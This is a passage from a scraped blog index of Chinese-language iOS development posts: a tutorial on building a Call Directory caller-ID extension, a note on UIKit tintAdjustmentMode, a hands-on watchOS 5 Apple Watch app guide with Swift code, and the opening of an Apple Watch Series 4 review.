#分機),不會知道真實的電話號碼;一方面是保護個資隱私、另一方面也能知道有多少人聯絡商家(評估成效)甚至能知道是在哪看到然後撥打的(EX:網頁顯示#1234,APP顯示#5678)、還有也能推免費服務,由我方吸收電話通信費用.但此做法會帶來ㄧ項不可避免的問題,就是電話號碼凌亂;無法辨識出是打給誰或是店家回撥時,使用者不知道來電者是誰,透過使用電話辨識功能就能大大解決這個問題,提升使用者體驗!直接上一張成品圖:結婚吧 APP可以看到在輸入電話、電話來電時能直接顯示辨識結果、通話記錄列表也不在亂糟糟ㄧ樣能在下方顯示辨識結果.Call Directory Extension 電話辨識功能運作流程:開工:讓我們開始動手做吧!1.為 iOS 專案加入 Call Directory ExtensionXcode -> File -> New -> Target選擇 Call Directory Extension輸入Extension名稱可順帶加入 Scheme 方便 Debug目錄底下就會出現Call Directory Extension的資料夾及程式2.開始編寫 Call Directory Extension 相關程式首先回到主 iOS 專案上第一個問題是我們該如何判斷使用者的裝置支不支援Call Directory Extension或是設定中的「通話封鎖與識別」是否已經打開:import CallKit////......//if #available(iOS 10.0, *) { CXCallDirectoryManager.sharedInstance.getEnabledStatusForExtension(withIdentifier: \"這裡輸入call directory extension的bundle identifier\", completionHandler: { (status, error) in if status == .enabled { //啟用中 } else if status == .disabled { //未啟用 } else { //未知,不支援 } })}前面有提到,來電辨識的運作方式是要在本地維護一個辨識資料庫;再來就是重頭戲該如何達成這個功能?很遺憾,您無法直接對Call Directory Extension進行呼叫寫入資料,所以你需要多維護一層對應結構,然後Call Directory Extension再去讀取你的結構再寫入辨識資料庫中,流程如下:意旨我們需要多維護一個自己的資料庫文件,再讓Extenstion去讀取寫入到手機中那所謂的辨識資料、檔案該長怎樣? 其實就是個Dictionary結構,如:[“電話”:”王大明”] 存在本地的檔案可用一些Local DB(但Extension那邊也要能裝能用),這邊是直接存一個.json檔在手機裡; 不建議直接存在UserDefaults,如果是測試或資料很少可以,實際應用強烈不建議!好的,開始:if #available(iOS 10.0, *) { if let dir = FileManager.default.containerURL(forSecurityApplicationGroupIdentifier: \"你的跨Extesion,Group Identifier名稱\") { let fileURL = dir.appendingPathComponent(\"phoneIdentity.json\") var datas:[String:String] = [\"8869190001234\":\"李先生\",\"886912002456\":\"大帥\"] if let content = try? String(contentsOf: fileURL, encoding: .utf8),let text = content.data(using: .utf8),let json2 = try? JSONSerialization.jsonObject(with: text, options: .mutableContainers) as? Dictionary<String,String>,let json = json2 { datas = json } if let data = jsonToData(jsonDic: datas) { DispatchQueue(label: \"phoneIdentity\").async { if let _ = try? data.write(to: fileURL) { //寫入json檔完成 } } } }}就只是一般的本地檔案維護,要注意的就是目錄需要在Extesion也能讀取的地方。補充 — 電話號碼格式: 台灣地區市話、手機都需去掉0以886代替:如 0255667788 -> 886255667788 電話格式是純數字組合的字串,勿夾雜「-」、「,」、「#」…等符號 市話電話如有包含要辨識到 分機 ,直接接在後面即可不需帶任何符號:如 0255667788,0718 -> 8862556677880718 將一般iOS電話格式轉換成辨識資料庫可接受格式可參考以下兩個取代方法:var newNumber = \"0255667788,0718\"if let regex = try? NSRegularExpression(pattern: \"^0{1}\") { newNumber = regex.stringByReplacingMatches(in: newNumber, options: [], range: NSRange(location: 0, length: newNumber.count), withTemplate: \"886\")}if let regex = try? NSRegularExpression(pattern: \",\") { newNumber = regex.stringByReplacingMatches(in: newNumber, options: [], range: NSRange(location: 0, length: newNumber.count), withTemplate: \"\")}再來就是如流程,辨識資料已維護好;需要通知Call Directory Extension去刷新手機那邊的資料:if #available(iOS 10.0, *) { CXCallDirectoryManager.sharedInstance.reloadExtension(withIdentifier: \"tw.com.marry.MarryiOS.CallDirectory\") { errorOrNil in if let error = errorOrNil as? CXErrorCodeCallDirectoryManagerError { print(\"reload failed\") switch error.code { case .unknown: print(\"error is unknown\") case .noExtensionFound: print(\"error is noExtensionFound\") case .loadingInterrupted: print(\"error is loadingInterrupted\") case .entriesOutOfOrder: print(\"error is entriesOutOfOrder\") case .duplicateEntries: print(\"error is duplicateEntries\") case .maximumEntriesExceeded: print(\"maximumEntriesExceeded\") case .extensionDisabled: print(\"extensionDisabled\") case .currentlyLoading: print(\"currentlyLoading\") case .unexpectedIncrementalRemoval: print(\"unexpectedIncrementalRemoval\") } } else if let error = errorOrNil { print(\"reload error: \\(error)\") } else { print(\"reload succeeded\") } }}使用以上方法通知Extension刷新,並取得執行結果。(這時候會呼叫執行Call Directory Extension裡的beginRequest,請繼續往下看)主 iOS 專案的程式就到這了!3.開始修改 Call Directory Extension 的程式打開Call Directory Extension 目錄,找到底下已經幫你建立好的檔案 CallDirectoryHandler.swift能實作的方法只有 beginRequest 當要處理手機電話資料時的動作,預設範例都把我們建好了,不太需要去動: addAllBlockingPhoneNumbers :處理加入黑名單號碼(全新增) addOrRemoveIncrementalBlockingPhoneNumbers :處理加入黑名單號碼(遞增方式) addAllIdentificationPhoneNumbers :處理加入來電辨識號碼(全新增) addOrRemoveIncrementalIdentificationPhoneNumbers :處理加入來電辨識號碼(遞增方式)我們只要完成以上的Function實作即可,黑名單功能跟來電辨識方式原理都ㄧ樣這邊就不多作介紹.private func fetchAll(context: CXCallDirectoryExtensionContext) { if let dir = FileManager.default.containerURL(forSecurityApplicationGroupIdentifier: \"你的跨Extesion,Group Identifier名稱\") { let fileURL = dir.appendingPathComponent(\"phoneIdentity.json\") if let content = try? String(contentsOf: fileURL, encoding: .utf8),let text = content.data(using: .utf8),let numbers = try? JSONSerialization.jsonObject(with: text, options: .mutableContainers) as? Dictionary<String,String> { numbers?.sorted(by: { (Int($0.key) ?? 0) < Int($1.key) ?? 0 }).forEach({ (obj) in if let number = CXCallDirectoryPhoneNumber(obj.key) { autoreleasepool{ if context.isIncremental { context.removeIdentificationEntry(withPhoneNumber: number) } context.addIdentificationEntry(withNextSequentialPhoneNumber: number, label: obj.value) } } }) } }}private func addAllIdentificationPhoneNumbers(to context: CXCallDirectoryExtensionContext) { // Retrieve phone numbers to identify and their identification labels from data store. For optimal performance and memory usage when there are many phone numbers, // consider only loading a subset of numbers at a given time and using autorelease pool(s) to release objects allocated during each batch of numbers which are loaded. // // Numbers must be provided in numerically ascending order. // let allPhoneNumbers: [CXCallDirectoryPhoneNumber] = [ 1_877_555_5555, 1_888_555_5555 ] // let labels = [ \"Telemarketer\", \"Local business\" ] // // for (phoneNumber, label) in zip(allPhoneNumbers, labels) { // context.addIdentificationEntry(withNextSequentialPhoneNumber: phoneNumber, label: label) // } fetchAll(context: context)}private func addOrRemoveIncrementalIdentificationPhoneNumbers(to context: CXCallDirectoryExtensionContext) { // Retrieve any changes to the set of phone numbers to identify (and their identification labels) from data store. For optimal performance and memory usage when there are many phone numbers, // consider only loading a subset of numbers at a given time and using autorelease pool(s) to release objects allocated during each batch of numbers which are loaded. // let phoneNumbersToAdd: [CXCallDirectoryPhoneNumber] = [ 1_408_555_5678 ] // let labelsToAdd = [ \"New local business\" ] // // for (phoneNumber, label) in zip(phoneNumbersToAdd, labelsToAdd) { // context.addIdentificationEntry(withNextSequentialPhoneNumber: phoneNumber, label: label) // } // // let phoneNumbersToRemove: [CXCallDirectoryPhoneNumber] = [ 1_888_555_5555 ] // // for phoneNumber in phoneNumbersToRemove { // context.removeIdentificationEntry(withPhoneNumber: phoneNumber) // } //context.removeIdentificationEntry(withPhoneNumber: CXCallDirectoryPhoneNumber(\"886277283610\")!) //context.addIdentificationEntry(withNextSequentialPhoneNumber: CXCallDirectoryPhoneNumber(\"886277283610\")!, label: \"TEST\") fetchAll(context: context) // Record the most-recently loaded set of identification entries in data store for the next incremental load...}因為敝站的資料不會到太多而且我的本地資料結構相當簡易,無法做到遞增;所以這邊 統一都用全新增的方式,如是遞增方式則要先刪除舊的(這步很重要不然會reload extensiton失敗!)完工!到此為止就完成囉!實作方面非常簡單!Tips: 如果在「設定」「電話」「通話封鎖與識別」打開APP時一直轉或是打開後無法辨識號碼,可先確認號碼是否正確、本地維護的.json資料是否正確、reload extensiton是否成功;或重開機試試,都找不出來可以選call directory extension的Scheme Build 看看錯誤訊息. 這個功能 最困難的點不是程式方面而是要引導使用者手動去設定打開 ,具體方式及引導可參考whoscall:Whoscall有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS tintAdjustmentMode 屬性", "url": "/posts/6012b7b4f612/", "categories": "ZRealm, Dev.", "tags": "uikit, swift, ios-app-development, autolayout, 顧小事成大事", "date": "2019-02-07 00:10:43 +0800", "snippet": "iOS tintAdjustmentMode 屬性Present UIAlertController 時本頁上的 Image Assets (Render as template) .tintColor 設定失效問題顧小事成大事的第一篇: 2019年新主題,「 顧小事成大事 」意指 完善小細節聚沙成塔成大事 ,如同郭董說的「 魔鬼藏在細節裡 」;主要都是整理 小問題及解決方法 ,另一方面也...", "content": "iOS tintAdjustmentMode 屬性Present UIAlertController 時本頁上的 Image Assets (Render as template) .tintColor 設定失效問題顧小事成大事的第一篇: 2019年新主題,「 顧小事成大事 」意指 完善小細節聚沙成塔成大事 ,如同郭董說的「 魔鬼藏在細節裡 」;主要都是整理 小問題及解決方法 ,另一方面也當筆記紀錄,如果你也有發現一樣的問題希望能幫助到你:)問題修正前後比較ㄧ樣不囉唆解釋,直接上比較圖.左修正前/右修正後可以看到左方ICON圖在有Present UIAlertController時tintColor顏色設定失效,另外當Present的視窗關閉後就會恢復顏色設定顯示正常.問題修正首先介紹一下 tintAdjustmentMode 的屬性設置,此屬性控制了 tintColor 的顯示模式,此屬性有三個枚舉可設定: .Automatic :視圖的 tintAdjustmentMode 與包覆的父視圖設定一致 .Normal : 預設模式 ,正常顯示設定的 tintColor .Dimmed :將 tintColor 改為低飽和度、暗淡的顏色(就是灰色啦!)上述問題不是什麼BUG而是系統本身機制即是如此: 在Present UIAlertController時會將本頁Root ViewController上View的 tintAdjustmentMode 改為 Dimmed (所以準確來說也不叫顏色設定「失效」,只是 tintAdjustmentMode 模式更改)但有時我們希望ICON顏色能保持ㄧ致則只需在UIView中tintColorDidChange事件保持tintAdjustmentMode設定ㄧ致:extension UIButton { override func tintColorDidChange() { self.tintAdjustmentMode = .normal //永遠保持normal }}結束!不是什麼大問題,不改也沒差,但就是礙眼其實每一個頁面遇到present UIAlertController、action sheet、popover…都會將本頁view的tintAdjustmentMode改為灰色,但我在這個頁面才發現查找了一陣子資料才發現跟這個屬性有關係,設定之後就解決我的小疑惑.有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "動手做一支 Apple Watch App 吧!", "url": "/posts/e85d77b05061/", "categories": "ZRealm, Dev.", "tags": "ios, watchos, apple-watch-apps, watchkit, ios-app-development", "date": "2019-02-06 00:23:30 +0800", "snippet": "動手做一支 Apple Watch App 吧!(Swift)watchOS 5 手把手開發Apple Watch App 從無到有[最新] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往前言:暨上一篇 Apple Watch 入手開箱文 後已經過了快三個月,最近終於找到機會研究開發Apple Watch App啦。結婚吧 — 最大婚禮籌備...", "content": "動手做一支 Apple Watch App 吧!(Swift)watchOS 5 手把手開發Apple Watch App 從無到有[最新] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往前言:暨上一篇 Apple Watch 入手開箱文 後已經過了快三個月,最近終於找到機會研究開發Apple Watch App啦。結婚吧 — 最大婚禮籌備App補一下使用三個月後的心得:1. e-sim(LTE)依然還想不到什麼時候會用到,所以也還沒申請沒用過2.常用功能:靠近解鎖Mac電腦、舉手查看通知、Apple Pay3.健康提醒:過了三個月已開始懶了,通知提醒都看看,沒達成圓圈也無感4.第三方App支援度依然很差5.錶面可依照心情任意更換增加新鮮感6.更詳細的運動紀錄:例如走遠一點路去買晚餐,手錶會自動偵測詢問是否要記錄運動使用三個月後整體來說,還是如原開箱文所寫就像是多個生活小助手,幫你解決瑣碎的事.第三方App支援度依然很差在我實際開發過Apple Watch App之前還很納悶,為何Apple Watch上的App都很陽春甚至就只是「堪用」罷了,包括LINE(訊息不同步而且從未更新)、Messenger(就是堪用);直到我實際開發過Apple Watch App之後才知道這些開發者的苦衷….首先,了解Apple Watch App的定位,化繁為簡Apple Watch的定位 「不是取代iPhone,而是輔助」 不論是官方介紹、官方App、watchOS API都是這個走向;所以才會覺得第三方APP很陽春、功能很少(抱歉,我太貪心了Orz)以 我們的A pp為例,有搜尋商家、查看專欄、討論區、線上詢問…等等功能;線上詢問就是有價值搬上Apple Watch的項目,因為他需要即時性而且更快速的回覆代表更有機會獲得訂單;搜尋商家、查看專欄、討論區這些功能相對複雜,在手錶上就算做的到也意義不大(螢幕能呈現的資訊太少、也不需要即時性)核心概念還是「以輔助為主」,所以並不是什麼功能都需要搬上Apple Watch;畢竟使用者很少很少時間會是只有戴手錶沒帶手機,而遇到這種情況時,使用者的需求也只有重要的功能(像查看專欄文章這種沒有重要到一定要立刻馬上用手錶看)讓我們開始吧! 這也是我第一次開發Apple Watch App,文章內容可能不夠深入,敬請大家指教!! 本篇只適合有開發過iOS App/UIKit基礎的讀者閱讀 本篇使用:iOS ≥ 9、watchOS ≥ 5為iOS專案新建 watchOS Target:File -> New -> Target -> watchOS -> WatchKit App*Apple Watch App無法獨立安裝,一定要依附在 iOS App 之下新建好之後目錄會長這樣:你會發現有兩個Target項目,缺一不可: WatchKit App: 負責存放資源、UI顯示/Interface.storyboard:同 iOS,裡面有系統預設建立的視圖控制器/Assets.xcassets:同 iOS,存放用到的資源項目/info.plist:同 iOS,WatchKit App 相關設定 WatchKit Extension: 負責程式呼叫、邏輯處理( * .swift)/InterfaceController.swift:預設的視圖控制器程式/ExtensionDelegate.swift:類似Swift的AppDelegate,Apple Watch App 啟動入口/NotificationController.swift:用於處理Apple Watch App上的推播顯示/Assets.xcassets:這裡不使用,我統一放在WatchKit App的Assets.xcassets下/info.plist:同 iOS,WatchKit Extension 相關設定/PushNotificationPayload.apns:推播資料,可用在模擬器上測試推播功能細節會在後面做介紹,先大概了解一下目錄及文件內容功能即可。視圖控制器:在AppleWatch中視圖控制器不叫ViewController而是InterfaceController ,你可以在WatchKit App/Interface.storyboard中找到Interface Controller Scence,控制它的程式就放在WatchKit Extension/InterfaceController.swift中(同iOS概念)Scene預設會和Notification Controller Scene擠在一起 (我會把它拉上面一點分開)可在右方設定InterfaceController的標題顯示文字.標題顏色部分吃的是Interface Builder Document/Global hint設定,整個App的風格顏色會是統一的.元件庫:沒有太多複雜的元件,元件功能也都簡單明瞭UI 排版:萬丈高樓從View起,排版的部分沒有 UIKit(iOS) 中的Auto Layout、約束、圖層,全都使用參數進行排版設置,更簡單有力(排起來有點像 UIKit 中的 UIStackView) 一切排版由Group組成,類似UIKit中的 UIStackView 但能設置更多排版參數Group的參數設置 Layout:設置被包在裡面的子View排版方式(水平、垂直、圖層堆疊) Insets:設置Group的上下左右間距 Spacing:設置被包在裡面的子View之間的間距 Radius:設置Group的圓角,沒錯!WatchKit自帶圓角設置參數 Alignment/Horizontal:設置水平對齊方式(左、中、右)與鄰居、外層包覆的View設置會有所連動 Alignment/Vertical:設置垂直對齊方式(上、中、下)與鄰居、外層包覆的View設置會有所連動 Size/Width:設置Group的大小,有三種模式可選「Fixed:指定寬度」、「Size To Fit Content:依照內容子View大小決定寬度」、「Relative to Container:參照外層包覆的View大小為寬度(可設%/+ -修正值)」 Size/Height:同Size/Width,此項是設置高度字型/字體大小設置:可直接套用系統的Text Styles,或使用Custom(但這邊我測試使用Custom無法設定字體大小);所以 我是使用System 自訂各顯示Label的字體大小做中學:以Line排版為例排版部分不像 iOS 那麼複雜,所以我直接透過範例示範給大家看,就能直接上手;以 Line 的主頁排版為例子:在WatchKit App/Interface.storyboard中找到Interface Controller Scence:1.整個頁面,相當於 iOS App 開發中會使用到的 UITableView,在Apple Watch App 中簡化了操作,名字也改叫做「WKInterfaceTable」首先就先拉一個Table到Interface Controller Scence中同UIKit UITableView,有Table本體、有Cell(Apple Watch中叫做Row);使用起來簡化許多, 你可以直接在此介面上進行Cell的設計排版!2. 分析排版架構,設計Row顯示樣式:要排出一個左邊有圓角滿版的Image且堆疊一個Label,右邊平均分配上下兩個區塊,上方放Label,下方也放Label的區塊2–1: 拉出左右兩區塊的架構拉兩個Group到Group中,並對Size參數分別設定:左邊綠色部分:Layout設定Overlap,裡面子View要做未讀訊息Label的圖層堆疊顯示設固定長寬40的正方形右邊紅色部分:Layout設定Vertical,裡面子View要做上下兩個顯示寬度設定參照外層,比例100%,扣掉左邊綠色部分40左右容器內排版:左邊部分:拉入一個Image,再拉入一個包覆Lable的Group對齊設右下(Group設底色再設間距及圓角)右邊部分:拉入兩個Label,一個對齊設左上,一個對齊設左下即可為Row命名(同UIKit UITableView為Cell設定identifier):選定Row->Identifier->輸入自訂名稱Row的呈現樣式不只一種呢?非常簡單,只要在拉一個Row放在Table裡(實際要顯示哪個樣式的ROW由程式控制)並輸入Identifier命名即可這邊我再拉一個Row用於呈現無資料時的提示排版相關資訊watchKit的hidden不會佔位,可拿來做交互應用(有登入才顯示Table;沒登入顯示提示Label)排版到此告一段落,可依照個人設計做修改;上手容易,多排個幾次、玩玩對齊參數,就能熟悉!程式控制部分:接續Row,我們需要建立一個Class對Row進行參照操作:class ContactRow:NSObject {}class ContactRow:NSObject { var id:String? @IBOutlet var unReadGroup: WKInterfaceGroup! @IBOutlet var unReadLabel: WKInterfaceLabel! @IBOutlet weak var imageView: WKInterfaceImage! @IBOutlet weak var nameLabel: WKInterfaceLabel! @IBOutlet weak var timeLabel: WKInterfaceLabel!}Table部分ㄧ樣拉Outlet到Controller中:class InterfaceController: WKInterfaceController { @IBOutlet weak var Table: WKInterfaceTable! override func awake(withContext context: Any?) { super.awake(withContext: context) // Configure interface objects here. } override func willActivate() { // This method is called when watch view controller is about to be visible to user super.willActivate() } struct ContactStruct { var name:String var image:String var time:String } func loadData() { //Get API Call Back... //postData { let data:[ContactStruct] = [] //api returned data... self.Table.setNumberOfRows(data.count, withRowType: \"ContactRow\") //如果你有多種ROW需要呈現則用: //self.Table.setRowTypes([\"ContactRow\",\"ContactRow2\",\"ContactRow3\"]) // for item in data.enumerated() { if let row = self.Table.rowController(at: item.offset) as? ContactRow { row.nameLabel.setText(item.element.name) //assign value to lable/image...... } } //} } override func didDeactivate() { // This method is called when watch view controller is no longer visible super.didDeactivate() loadData() } //處理Row點選時: override func table(_ table: WKInterfaceTable, didSelectRowAt rowIndex: Int) { guard let row = table.rowController(at: rowIndex) as? ContactRow,let id = row.id else { return } self.pushController(withName: \"showDetail\", context: id) }}Table的操作簡化許多沒有delegate/datasource,設定資料方式只要呼叫setNumberOfRows/setRowTypes指定Row數量和形態,再使用rowController(at:) 設定每列的資料內容即可!Table的Row選擇事件也只需 override func table( _ table: WKInterfaceTable, didSelectRowAt rowIndex: Int) 即可操作!(Table也只有這個事件)如何跳頁?首先為Interface Controller設定IdentifierwatchKit有兩種跳頁模式:1.類似iOS UIKit pushself.pushController(withName: Interface Controller Identifier , context: Any? )push方式可左上返回返回上一頁同iOS UIKit:self.pop( )返回根頁面:self.popToRootController( )開新頁面:self.presentController( )2. 頁籤顯示方式 WKInterfaceController.reloadRootControllers(withNames: [ Interface Controller Identifier ], contexts: [ Any? ] )亦或是在Storyboard上,在第一頁的Interface Controller上按Control+Click拖曳到第二頁選擇「next page」也可頁籤顯示方式可以左右切換頁面兩種跳頁方式不能混用.跳頁參數?不像iOS需要使用自訂delegate或segue方式傳遞參數,watchKit跳頁帶參數方式就是將參數放入上方方法中的 contexts 中即可.接收參數在 InterfaceController 的 awake(withContext context: Any?)例如我在A頁面要跳到B頁面並帶入id:Int時:self.pushController(withName: \"showDetail\", context: 100)override func awake(withContext context: Any?) { super.awake(withContext: context) guard let id = context as? Int else { print(\"參數錯誤!\") self.popToRootController() return } // Configure interface objects here.}程式控制元件部分相比iOS UIKit一樣簡化許多,有開發過iOS的應該上手很快!例如label變成setText( )p.s. 而且居然沒有getText的方法,只能extension變數或放在外部變數儲存與iPhone之間同步/資料傳遞如果有開發過iOS 相關 Extension 的話;下意識一定是用App Groups共享UserDefaults的方式,當初我也興沖沖的這樣做,然後卡了好久發現資料一直過不去,直到上網一查才發現,watchOS>2之後就不再支援此方法了….要使用新的WatchConnectivity方式讓手機跟手錶之間進行通訊(類似socket概念),iOS手機及手錶watchOS兩端都需要實做,我們寫成singleton模式如下:手機端:import WatchConnectivityclass WatchSessionManager: NSObject, WCSessionDelegate { @available(iOS 9.3, *) func session(_ session: WCSession, activationDidCompleteWith activationState: WCSessionActivationState, error: Error?) { //手機端session啟用完成 } func session(_ session: WCSession, didReceiveUserInfo userInfo: [String : Any] = [:]) { //手機端接受到手錶傳回的UserInfo } func session(_ session: WCSession, didReceiveMessage message: [String : Any], replyHandler: @escaping ([String : Any]) -> Void) { //手機端接受到手錶回傳的Message } //另外還有didReceiveMessageData,didReceiveFile同樣都是處理收到手錶回傳的資料 //看你的資料傳遞接收需求決定要用哪個 func sendUserInfo() { guard let validSession = self.validSession,validSession.isReachable else { return } if userDefaultsTransfer?.isTransferring == true { userDefaultsTransfer?.cancel() } var list:[String:Any] = [:] //將UserDefaults放入list.... self.userDefaultsTransfer = validSession.transferUserInfo(list) } func sessionReachabilityDidChange(_ session: WCSession) { //與手錶APP連接狀態改變時(手錶開啟APP時/手錶關閉APP時) sendUserInfo() //我是當狀態改變,如為手錶開啟APP時就同步一次UserDefaults } func session(_ session: WCSession, didFinish userInfoTransfer: WCSessionUserInfoTransfer, error: Error?) { //完成同步UserDefaults(transferUserInfo) } func sessionDidBecomeInactive(_ session: WCSession) { } func sessionDidDeactivate(_ session: WCSession) { } static let sharedManager = WatchSessionManager() private override init() { super.init() } private let session: WCSession? = WCSession.isSupported() ? WCSession.default : nil private var validSession: WCSession? { if let session = session, session.isPaired && session.isWatchAppInstalled { return session } //回傳有效且連接中且手錶APP開啟中的session return nil } func startSession() { session?.delegate = self session?.activate() }}並在iOS/AppDelegate.swift的application( _ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?)中加入WatchSessionManager.sharedManager.startSession( )以在啟動手機APP後連接上session手錶端:import WatchConnectivityclass WatchSessionManager: NSObject, WCSessionDelegate { func session(_ session: WCSession, activationDidCompleteWith activationState: WCSessionActivationState, error: Error?) { } func sessionReachabilityDidChange(_ session: WCSession) { guard session.isReachable else { return } } func session(_ session: WCSession, didFinish userInfoTransfer: WCSessionUserInfoTransfer, error: Error?) { } func session(_ session: WCSession, didReceiveUserInfo userInfo: [String : Any] = [:]) { DispatchQueue.main.async { //UserDefaults: //print(userInfo) } } static let sharedManager = WatchSessionManager() private override init() { super.init() } private let session: WCSession? = WCSession.isSupported() ? WCSession.default : nil func startSession() { session?.delegate = self session?.activate() }}並在WatchOS Extension/ExtensionDelegate.swift中的applicationDidFinishLaunching( ) 加入WatchSessionManager.sharedManager.startSession( )以在啟動手錶APP後連接上sessionWatchConnectivity 資料傳遞方式傳資料用:sendMessage,sendMessageData,transferUserInfo,transferFile收資料用:didReceiveMessageData,didReceive,didReceiveMessage兩端傳接收方法都ㄧ樣可以看到手錶傳資料到手機都通,但手機傳資料到手錶僅限手錶APP開啟中watchOS推播處理專案目錄底下的PushNotificationPayload.apns這時就派上用場了,這是用來在模擬器上測試推播之用,在模擬器上部署Watch App target,安裝完啟動App就會收到一則以這個檔案內容的推播,讓開發者更容易測試推播功能.如要修改/啟用/停用 PushNotificationPayload.apns,請選擇Target後Edit SchemewatchOS 推播處理:同iOS我們實做UNUserNotificationCenterDelegate,在watchOS中我們也實作一樣的方法,在watchOS Extension/ExtensionDelegate.swift中import WatchKitimport UserNotificationsimport WatchConnectivityclass ExtensionDelegate: NSObject, WKExtensionDelegate, UNUserNotificationCenterDelegate { func applicationDidFinishLaunching() { WatchSessionManager.sharedManager.startSession() //前面提到的WatchConnectivity連線 UNUserNotificationCenter.current().delegate = self //設定UNUserNotificationCenter delegate // Perform any final initialization of your application. } func userNotificationCenter(_ center: UNUserNotificationCenter, willPresent notification: UNNotification, withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void) { completionHandler([.sound, .alert]) //同iOS,此做法可讓推播在APP前景時依然會顯示 } func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) { //點擊推播時 guard let info = response.notification.request.content.userInfo[\"aps\"] as? NSDictionary,let alert = info[\"alert\"] as? Dictionary<String,String>,let data = info[\"data\"] as? Dictionary<String,String> else { completionHandler() return } //response.actionIdentifier可得點擊事件Identifier //預設點擊事件:UNNotificationDefaultActionIdentifier if alert[\"type\"] == \"new_ask\") { WKExtension.shared().rootInterfaceController?.pushController(withName: \"showDetail\", context: 100) //取得目前root interface controller 並 push } else { //其他處理.... //WKExtension.shared().rootInterfaceController?.presentController(withName: \"\", context: nil) } completionHandler() }}watchOS 推播顯示,分成三種: static: 預設推播顯示方式會同手機推播,這邊手機端iOS有實做UNUserNotificationCenter.setNotificationCategories在通知下方增加按鈕;Apple Watch預設亦然會出現 dynamic:動態處理推播顯示樣式(重組內容、顯示圖片) interactive:watchOS ≥ 5 後支援,在dynamic的基礎下再增加支援按鈕可在Interface.storyboard中的Static Notification Interface Controller Scene設定推播處理方式static沒什麼好說的,就是走預設的顯示方式,這邊先介紹dynamic,勾選「Has Dynamic Interface」後會出現「Dynamic Interface」可在此視圖設計你自訂的推播呈現方式(不能使用Button):我的自訂推播呈現設計import WatchKitimport Foundationimport UserNotificationsclass NotificationController: WKUserNotificationInterfaceController { @IBOutlet var imageView: WKInterfaceImage! @IBOutlet var titleLabel: WKInterfaceLabel! @IBOutlet var contentLabel: WKInterfaceLabel! override init() { // Initialize variables here. super.init() self.setTitle(\"結婚吧\") //設定右上方標題 // Configure interface objects here. } override func willActivate() { // This method is called when watch view controller is about to be visible to user super.willActivate() } override func didDeactivate() { // This method is called when watch view controller is no longer visible super.didDeactivate() } override func didReceive(_ notification: UNNotification) { if #available(watchOSApplicationExtension 5.0, *) { self.notificationActions = [] //清除iOS實做的UNUserNotificationCenter.setNotificationCategories在通知下方增加的按鈕 } guard let info = notification.request.content.userInfo[\"aps\"] as? NSDictionary,let alert = info[\"alert\"] as? Dictionary<String,String> else { return } //推播資訊 self.titleLabel.setText(alert[\"title\"]) self.contentLabel.setText(alert[\"body\"]) if #available(watchOSApplicationExtension 5.0, *) { if alert[\"type\"] == \"new_msg\" { //如果是新訊息推播則在通知下方增加回覆按鈕 self.notificationActions = [UNNotificationAction(identifier: \"replyAction\",title: \"回覆\", options: [.foreground])] } else { //其他則增加查看按鈕 self.notificationActions = [UNNotificationAction(identifier: \"openAction\",title: \"查看\", options: [.foreground])] } } // This method is called when a notification needs to be presented. // Implement it if you use a dynamic notification interface. // Populate your dynamic notification interface as quickly as possible. }}再來講到interactive,同dynamic,只是能多加Button,能跟dynamic設同個Class控制程式;interactive我沒有使用,因為我的按鈕是用程式self.notificationActions加上去的,差異如下:左使用interactive,右使用self.notificationActions兩個做法都需watchOS ≥ 5 支援.使用self.notificationActions增加按鈕則按鈕事件處理由ExtensionDelegate中的userNotificationCenter( _ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping ( ) -> Void)處理,並以identifier識別動作選單功能?在元件庫中拉入Menu,再拉入選單項目Menu Item,再拉IBAction到程式控制在頁面重壓就會出現:內容輸入?使用內建的presentTextInputController方法即可!@IBAction func replyBtnClick() { guard let target = target else { return } self.presentTextInputController(withSuggestions: [\"稍後回覆您\",\"謝謝\",\"歡迎與我聯絡\",\"好的\",\"OK!\"], allowedInputMode: WKTextInputMode.plain) { (results) in guard let results = results else { return } //有輸入值時 let txts = results.filter({ (txt) -> Bool in if let txt = txt as? String,txt != \"\" { return true } else { return false } }).map({ (txt) -> String in return txt as? String ?? \"\" }) //預處理輸入 txts.forEach({ (txt) in print(txt) }) }}總結 謝謝你看到這!辛苦了!到這裡文章已告一段落,大略提了一下UI排版、程式、推播、介面應用部分,有開發過iOS的上手真的很快,幾乎差不多而且許多方法都做了簡化使用起來更簡潔,但能做的事確實也變少了(像是目前還不知道怎麼針對Table做載入更多);目前能做的事確實很少,希望官方在未來能開放更多API給開發者使用❤️❤️❤️MurMur:Apple Watch App Target 部署到手錶真的有夠慢 — Narcos有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Apple Watch Series 4 從入手到上手全方位心得", "url": "/posts/a2920e33e73e/", "categories": "ZRealm, Life.", "tags": "apple-watch, watchos, apple-watch-apps, 生活, 開箱", "date": "2018-11-26 22:18:41 +0800", "snippet": "Apple Watch Series 4 開箱 從入手到上手全方位心得 (2020–10–24更新)為什麼要買?好用嗎?哪裡好用?怎麼用?& WatchOS APP推薦[最新] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往從入手開始…個人背景首先自述一下個人使用蘋果產品的背景,我並非忠實果粉;第一次接觸是在 2015 年用打工薪水...", "content": "Apple Watch Series 4 開箱 從入手到上手全方位心得 (2020–10–24更新)為什麼要買?好用嗎?哪裡好用?怎麼用?& WatchOS APP推薦[最新] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往從入手開始…個人背景首先自述一下個人使用蘋果產品的背景,我並非忠實果粉;第一次接觸是在 2015 年用打工薪水買的 iPhone 6,後因工作所需直到去年才開始使用MacOS的電腦(Mac Mini)並在今年購入了自己的MacBook Pro、更換iPhone 8;其中我會踏入蘋果生態系的原因不外乎是: 工作需要(開發iOS APP一定要有MacOS設備) 工作效率(穩定度或程式切換、操作方式體驗都更好再配合生態系iPhone與MacOS之間的連動、資料同步在許多地方都能化繁為簡) 